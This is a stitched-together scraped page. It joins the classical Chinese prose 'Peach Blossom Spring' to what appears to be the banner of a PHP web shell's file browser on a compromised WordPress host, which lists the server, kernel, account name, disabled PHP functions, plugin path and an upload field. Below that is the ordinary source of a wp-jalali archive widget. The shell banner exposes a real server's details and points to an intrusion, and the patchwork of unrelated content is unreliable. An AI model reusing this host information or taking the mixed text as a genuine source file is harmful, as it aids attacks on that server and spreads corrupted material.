晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/stando/www/wp-content/plugins/wp-jalali/widget/ |
Upload File : |
<?php
/**
* @see : http://codex.wordpress.org/Widgets_API#Default_Usage
*/
class ztjalali_archive extends WP_Widget {
function __construct() {
parent::__construct(
'ztjalali_archive', __('jalali archive', 'ztjalali'), array('description' => __('jalali archive widget', 'ztjalali'),)
);
}
public function form($instance) {
if (!isset($instance['jarchive_title']))
$instance['jarchive_title'] = __('jalali archive', 'ztjalali');
if (!isset($instance['jarchive_type']))
$instance['jarchive_type'] = 'monthly';
if (!isset($instance['jarchive_link_count']))
$instance['jarchive_link_count'] = 12;
if (!isset($instance['jarchive_show_post_count']))
$instance['jarchive_show_post_count'] = TRUE;
if (!isset($instance['jarchive_dropdown']))
$instance['jarchive_dropdown'] = FALSE;
?>
<div dir="rtl" align="justify">
<p style="text-align:right">
<label for="<?php echo $this->get_field_id('jarchive_title'); ?>">
<?php _e('title', 'ztjalali') ?>:
<input style="width: 200px;" id="<?php echo $this->get_field_id('jarchive_title'); ?>" name="<?php echo $this->get_field_name('jarchive_title'); ?>" type="text" value="<?php echo $instance['jarchive_title']; ?>" />
</label>
</p>
<p style="text-align:right">
<label for="<?php echo $this->get_field_id('yearly'); ?>">
<input name="<?php echo $this->get_field_name('jarchive_type'); ?>" id="<?php echo $this->get_field_id('yearly'); ?>" type="radio" value="yearly" <?php checked($instance['jarchive_type'], 'yearly'); ?> />
<?php _e('yearly', 'ztjalali') ?>
</label>
<br/>
<label for="<?php echo $this->get_field_id('monthly'); ?>">
<input name="<?php echo $this->get_field_name('jarchive_type'); ?>" id="<?php echo $this->get_field_id('monthly'); ?>" type="radio" value="monthly" <?php checked($instance['jarchive_type'], 'monthly'); ?> />
<?php _e('monthly', 'ztjalali') ?>
</label>
<br/>
<label for="<?php echo $this->get_field_id('daily'); ?>">
<input name="<?php echo $this->get_field_name('jarchive_type'); ?>" id="<?php echo $this->get_field_id('daily'); ?>" type="radio" value="daily" <?php checked($instance['jarchive_type'], 'daily'); ?> />
<?php _e('daily', 'ztjalali') ?>
</label>
<br/>
<label for="<?php echo $this->get_field_id('postbypost'); ?>">
<input name="<?php echo $this->get_field_name('jarchive_type'); ?>" id="<?php echo $this->get_field_id('postbypost'); ?>" type="radio" value="postbypost" <?php checked($instance['jarchive_type'], 'postbypost'); ?> />
<?php _e('post by post', 'ztjalali') ?>
</label>
</p>
<p style="text-align:right">
<label for="<?php echo $this->get_field_id('jarchive_link_count'); ?>">
<?php _e('link count(zero to unlimit)', 'ztjalali') ?>:
<input style="width: 200px;" id="<?php echo $this->get_field_id('jarchive_link_count'); ?>" name="<?php echo $this->get_field_name('jarchive_link_count'); ?>" type="text" value="<?php echo $instance['jarchive_link_count']; ?>" />
</label>
</p>
<p style="text-align:right">
<label for="<?php echo $this->get_field_id('jarchive_show_post_count'); ?>">
<input name="<?php echo $this->get_field_name('jarchive_show_post_count'); ?>" type="checkbox" value="1" id="<?php echo $this->get_field_id('jarchive_show_post_count'); ?>" <?php checked($instance['jarchive_show_post_count'], TRUE); ?> />
<?php _e('show count of post (not work in post by post)', 'ztjalali') ?>
</label>
</p>
<p style="text-align:right">
<label for="<?php echo $this->get_field_id('dropdown'); ?>">
<input name="<?php echo $this->get_field_name('jarchive_dropdown'); ?>" type="checkbox" value="1" id="<?php echo $this->get_field_id('dropdown'); ?>" <?php checked($instance['jarchive_dropdown'], TRUE); ?> />
<?php _e('show dropdown list (not work in post by post)', 'ztjalali') ?>
</label>
</p>
</div>
<?php
}
public function update($new_instance, $old_instance) {
$instance = $old_instance;
$instance['jarchive_title'] = strip_tags($new_instance['jarchive_title']);
$instance['jarchive_type'] = strip_tags($new_instance['jarchive_type']);
$instance['jarchive_link_count'] = strip_tags($new_instance['jarchive_link_count']);
$instance['jarchive_show_post_count'] = (!empty($new_instance['jarchive_show_post_count']) ) ? TRUE : FALSE;
$instance['jarchive_dropdown'] = (!empty($new_instance['jarchive_dropdown']) ) ? TRUE : FALSE;
return $instance;
}
public function widget($args, $instance) {
if (!isset($instance['jarchive_title']))
$instance['jarchive_title'] = __('jalali archive', 'ztjalali');
if (!isset($instance['jarchive_type']))
$instance['jarchive_type'] = 'monthly';
if (!isset($instance['jarchive_link_count']))
$instance['jarchive_link_count'] = 12;
if (!isset($instance['jarchive_show_post_count']))
$instance['jarchive_show_post_count'] = TRUE;
if (!isset($instance['jarchive_dropdown']))
$instance['jarchive_dropdown'] = FALSE;
extract($args);
echo $before_widget;
echo $before_title . $instance['jarchive_title'] . $after_title;
if ($instance['jarchive_dropdown']) {
echo "<select name=\"jarchive-dropdown\" onchange='document.location.href=this.options[this.selectedIndex].value;'> <option value=\"\">" . esc_attr($instance['jarchive_title']) . "</option>";
ztjalali_archive_widget($instance['jarchive_type'],'option',$instance['jarchive_show_post_count'],$instance['jarchive_link_count']);
echo "</select>";
} else {
echo '<ul>';
ztjalali_archive_widget($instance['jarchive_type'],'html',$instance['jarchive_show_post_count'],$instance['jarchive_link_count']);
echo '</ul>';
}
echo $after_widget;
}
}
/**
* widget handle action
*/
add_action('widgets_init', 'register_ztjalali_archive');
function register_ztjalali_archive() {
register_widget('ztjalali_archive');
}
/* =================================================================== */
/**
* own widget function
*/
function ztjalali_archive_widget($type ='monthly',$format='html',$show_post_count=false,$limit=12,$before='',$after='') {
global $wpdb, $jdate_month_name, $ztjalali_option;
if ($type === "yearly") {
$YearlyQry = $wpdb->get_results(
"SELECT DATE_FORMAT( post_date ,'%Y-%m-%d' ) as date,
count(ID) as count,
YEAR(post_date) AS `year`,
MONTH(post_date) AS `month`,
DAYOFMONTH(post_date) AS `dayofmonth`
FROM $wpdb->posts
WHERE post_date < NOW()
AND post_type = 'post'
AND post_status = 'publish'
GROUP BY date ORDER BY post_date DESC");
if (!empty($YearlyQry)) {
$jYears = array();
$i = 1;
foreach ($YearlyQry as $res) {
$jalali_year = gregorian_to_jalali($res->year, $res->month, $res->dayofmonth);
$jYears[$jalali_year[0]]['year'] =$res->year ;
if (!array_key_exists('count', $jYears[$jalali_year[0]])) {
$jYears[$jalali_year[0]]['count'] = 0;
}
$jYears[$jalali_year[0]]['count'] +=$res->count ;
}
foreach ($jYears as $jYear =>$data) {
if ($ztjalali_option['change_url_date_to_jalali'])
$url = get_year_link($jYear);
else
$url = get_year_link($data['year']);
$jYear = ztjalali_persian_num($jYear);
$c_after = $show_post_count ? ' (' . ztjalali_persian_num($data['count']) . ')' . $after : '';
echo get_archives_link($url, $jYear, $format, $before, $c_after);
if ($i == $limit)
break;
$i++;
}
}
} elseif ("monthly" == $type OR empty ($type)) {
$MonthlyQry = $wpdb->get_results(
"SELECT DATE_FORMAT( post_date ,'%Y-%m-%d' ) as date,
count(ID) as count,
YEAR(post_date) AS `year`,
MONTH(post_date) AS `month`,
DAYOFMONTH(post_date) AS `dayofmonth`
FROM $wpdb->posts
WHERE post_date < NOW()
AND post_type = 'post'
AND post_status = 'publish'
GROUP BY date ORDER BY post_date DESC");
if (!empty($MonthlyQry)) {
$jMonths = array();
foreach ($MonthlyQry as $res) {
$jalali_month = gregorian_to_jalali($res->year, $res->month, $res->dayofmonth);
$jMonths[$jalali_month[0].'-'.$jalali_month[1]]['year'] =$res->year ;
$jMonths[$jalali_month[0].'-'.$jalali_month[1]]['month'] =$res->month ;
if (!array_key_exists('count', $jMonths[$jalali_month[0].'-'.$jalali_month[1]])) {
$jMonths[$jalali_month[0].'-'.$jalali_month[1]]['count'] = 0;
}
$jMonths[$jalali_month[0].'-'.$jalali_month[1]]['count'] +=$res->count ;
}
$i = 1;
foreach ($jMonths as $jMonth =>$data) {
list($jY,$jM)= explode('-', $jMonth);
if ($ztjalali_option['change_url_date_to_jalali'])
$url = get_month_link($jY,$jM);
else
$url = get_month_link($data['year'],$data['month']);
$jY = ztjalali_persian_num($jY);
$jM = $jdate_month_name[$jM];
$c_after = $show_post_count ? ' (' . ztjalali_persian_num($data['count']) . ')' . $after : '';
echo get_archives_link($url, $jM.' '.$jY, $format, $before, $c_after);
if ($i == $limit)
break;
$i++;
}
}
} elseif ("daily" == $type) {
$limStr = '';
if (!empty($limit)) {
$limit = (int) $limit;
$limStr = ' LIMIT ' . $limit;
}
$DailyQry = $wpdb->get_results(
"SELECT DATE_FORMAT( post_date ,'%Y-%m-%d' ) as date,
count(ID) as count,
YEAR(post_date) AS `year`,
MONTH(post_date) AS `month`,
DAYOFMONTH(post_date) AS `dayofmonth`
FROM $wpdb->posts
WHERE post_date < NOW()
AND post_type = 'post'
AND post_status = 'publish'
GROUP BY date ORDER BY post_date DESC ".$limStr);
if (!empty($DailyQry)) {
foreach ($DailyQry as $Daily) {
list($jY, $jM, $jD) = gregorian_to_jalali($Daily->year, $Daily->month, $Daily->dayofmonth);
if ($ztjalali_option['change_url_date_to_jalali'])
$url = get_day_link($jY, $jM, $jD);
else
$url = get_day_link($Daily->year, $Daily->month, $Daily->dayofmonth);
$date = mktime(0, 0, 0, $Daily->month, $Daily->dayofmonth, $Daily->year);
$text = jdate(get_option('date_format'), $date);
if ($show_post_count)
$c_after = ' (' . ztjalali_persian_num($Daily->count) . ')' . $after;
echo get_archives_link($url, $text, $format, $before, $c_after);
}
}
} elseif ('postbypost' == $type) {
$limStr = '';
if (!empty($limit)) {
$limit = (int) $limit;
$limStr = ' LIMIT ' . $limit;
}
$byPosts = $wpdb->get_results("SELECT ID, post_date, post_title FROM $wpdb->posts WHERE post_type='post' AND post_date < NOW() AND post_status = 'publish' ORDER BY post_date DESC" . $limStr);
if (!empty($byPosts)) {
foreach ($byPosts as $aPost) {
if ($aPost->post_date != '0000-00-00 00:00:00') {
$url = get_permalink($aPost->ID);
echo get_archives_link($url, strip_tags($aPost->post_title), $format, $before, $after);
}
}
}
}
}
?>